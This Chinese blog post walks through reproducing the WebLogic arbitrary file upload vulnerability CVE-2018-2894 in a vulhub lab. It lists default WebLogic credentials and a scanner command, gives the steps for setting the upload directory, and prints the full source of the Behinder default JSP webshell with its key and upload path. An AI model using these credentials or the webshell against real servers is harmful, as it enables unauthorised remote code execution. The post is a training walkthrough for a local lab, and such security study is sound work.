Weblogic任意文件上传漏洞(CVE-2018-2894)漏洞复现(基于vulhub)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1前言

[0x2 漏洞原理及介绍](#0x2 漏洞原理及介绍)

1、weblogic简介

2、weblogic漏洞库存

3、weblogic扫描工具

0x漏洞复现

1、常见弱口令

2、任意文件上传漏洞(CVE-2018-2894)


0x1前言

这个任意文件上传CVE-2018-2894漏洞,Oracle公司在7月份修复,需要我们自己手动配置才可以进行漏洞测试,所以这就需要我们拿到weblogic网站的登录账号密码,这里很多网站其实在实际中,都是默认密码的存在,所以可以通过一些工具进行测试下。这个漏洞利用vulhub复现下来,没什么难度,新手也是完全ok的,平常一些护网面试啥的经常会问Java相关的漏洞问题,就比如weblogic漏洞。

0x2 漏洞原理及介绍

1、weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、weblogic漏洞库存

cs 复制代码
Weblogic 反序列化漏洞 CVE-2021-2394
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
Weblogic RCE CVE-2020-14882&14883
weblogic jndi注入CVE-2020-14841
Weblogic coherence组件iiop反序列化漏洞 (CVE-2020-14644)
WebLogic UniversalExtractor反序列化漏洞 CVE-2020-14645
WebLogic CVE-2020-14756 T3IIOP反序列化RCE
Weblogic 远程代码执行漏洞 CVE-2020-2883
Weblogic CVE-2020-2551 IIOP协议反序列化rce
Weblogic反序列化漏洞 CVE-2019-2890
Weblogic反序列化远程代码执行漏洞CVE-2019-2725
Weblogic反序列化漏洞 CVE-2019-2729
Weblogic任意文件读取漏洞(CVE-2019-2615))
Weblogic 文件上传漏洞(CVE-2019-2618)
weblogic 反序列化漏洞 CVE-2018-3252
Weblogic反序列化远程代码执行漏洞 CVE-2018-3245
Weblogic远程代码执行漏洞 CVE-2018-3191
Weblogic任意文件上传漏洞(CVE-2018-2894)
Weblogic WLS核心组件反序列化漏洞 CVE-2018-2893
Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic 反序列化漏洞 CVE-2017-3506
Weblogic 反序列化漏洞 CVE-2017-3248
Weblogic SSRF漏洞 CVE-2014-4210

3、weblogic扫描工具

GitHub - 0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883 - 0xn0ne/weblogicScannerhttps://github.com/0xn0ne/weblogicScanner

cs 复制代码
weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:
CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883
cs 复制代码
pip3 install requests    //进入项目目录,使用以下命令安装依赖库

python ws.py -t IP:7001  //扫描weblogic漏洞命令

0x漏洞复现

1、常见弱口令

cs 复制代码
system:password        weblogic:weblogic    admin:secruity
joe:password           mary:password        system:sercurity
wlcsystem:wlcsystem                         weblogic:Oracle@123

此网站可以搜索对应软件的默认密码:

cs 复制代码
https://cirt.net/passwords?criteria=weblogic

2、任意文件上传漏洞(CVE-2018-2894)

漏洞搭建环境:

ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞

先进入/vulhub/weblogic/CVE-2018-2894目录下,然后利用docker启动靶场环境

显示了这个done字段,那么就说明靶机开启成功了

cs 复制代码
docker-compose up -d
cs 复制代码
docker ps -a  //查看靶机环境对应的端口号7001端口

默认访问IP+端口号是上面的这个界面,显示404是正常的。

扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录

cs 复制代码
┌──(root💀kali)-[~]
└─# dirsearch -u http://10.10.10.130:7001

访问/console/目录,需要我们拿账号密码进行登录,这里不要尝试爆破,爆破超过5次就会进行很长一段时间的冷却期。

我们直接在ubantu的vulhub漏洞目录下找,需要在/vulhub/weblogic/CVE-2018-2894目录下,找到密码登录成功:

cs 复制代码
账号:密码 --》 weblogic:xJ6J02Ow

这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。

第一步,点击这个

第二步,再点击这个高级

第三步,把这个web服务勾上,然后再点击save保存

第四步,把圈起来的内容改为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

第五步,上传jsp木马文件,我这里是上传冰蝎默认自带的shell.jsp木马文件,代码如下:

//默认连接密码rebeyond

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

第六步:利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,

cpp 复制代码
http://10.10.10.130:7001/ws_utc/css/config/keystore/1712739474159_shell.jsp

第七步,直接拿冰蝎连

相关推荐
weixin_4565347818 分钟前
ubuntu22.04搭建mysql5.7
web安全
baozongwi3 小时前
ctfshow web入门 nodejs web334--web337
web安全·node.js
Peterpan000006 小时前
玄机——第五章 linux实战-黑链 wp
linux·运维·服务器·网络安全·安全威胁分析
小黑子不会打篮球8 小时前
CTF之unseping
网络·web安全·网络安全
故事讲予风听8 小时前
iptables与firewalld
linux·服务器·网络·网络安全
竹等寒11 小时前
SQL注入方法
安全·网络安全
gavinwang15215212 小时前
一文解决:你与该网站的连接不是私密连接,存在安全隐患
安全·web安全·网络安全·https·ssl
love6a612 小时前
从零开始学习网络安全渗透测试之Linux基础篇——(六)Linux网络及防火墙配置
linux·学习·web安全
大众生活12 小时前
边界无限陈佩文:红蓝对抗安全演练常态化的各方分析
网络·安全·web安全
大棉花哥哥13 小时前
2024年中国网络安全市场全景图 -百度下载
安全·web安全